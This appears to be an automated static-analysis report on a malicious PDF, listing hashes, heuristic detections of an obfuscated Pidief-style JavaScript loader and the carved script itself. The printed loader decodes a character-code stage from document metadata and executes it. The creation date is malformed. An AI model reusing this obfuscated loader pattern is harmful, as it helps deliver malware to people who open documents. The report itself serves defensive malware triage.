Malicious PDF — malware analysis report

Static analysis result for SHA-256 97369ddff4bcd60d…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-09
MD5: e4c97d6b3ff0dbfacf72e9e1dfeb71c8 SHA-1: c9ad6cb21cabd4bf86b7de458e1a20098b14e13d SHA-256: 97369ddff4bcd60d7b4238b3a95af08c850a251e9bd06964c07622eeca2a1be2
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Embedded JavaScript, obfuscated using String.fromCharCode, was extracted. This script is likely responsible for downloading and executing a secondary payload, a common technique for initial access and further infection. The presence of JavaScript actions and embedded JS streams further supports this conclusion.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Title (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45CA 343 bytes
SHA-256: ad129f2c3e9da05156e1163ca37ae3056d92a7ed95e548bc24469720a1760934
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var w = 4;
var gfhc = this.producer.replace(/w/g,'*w,');
gfhc = gfhc.replace(/t/g,'2');
gfhc=gfhc.substr(0,gfhc.length-2) + ']';
mhkmp=new Function('a','return ' + this.subject + '(a)');
vwxyw=mhkmp(this.title);
zpxn = mhkmp(gfhc);
var s = '';
for (i = 0; i < zpxn.length; i++) {
	bozp = zpxn[i];
	s += vwxyw(bozp);
}
mhkmp(s);

Open this report in the interactive analyzer, or submit your own file for analysis.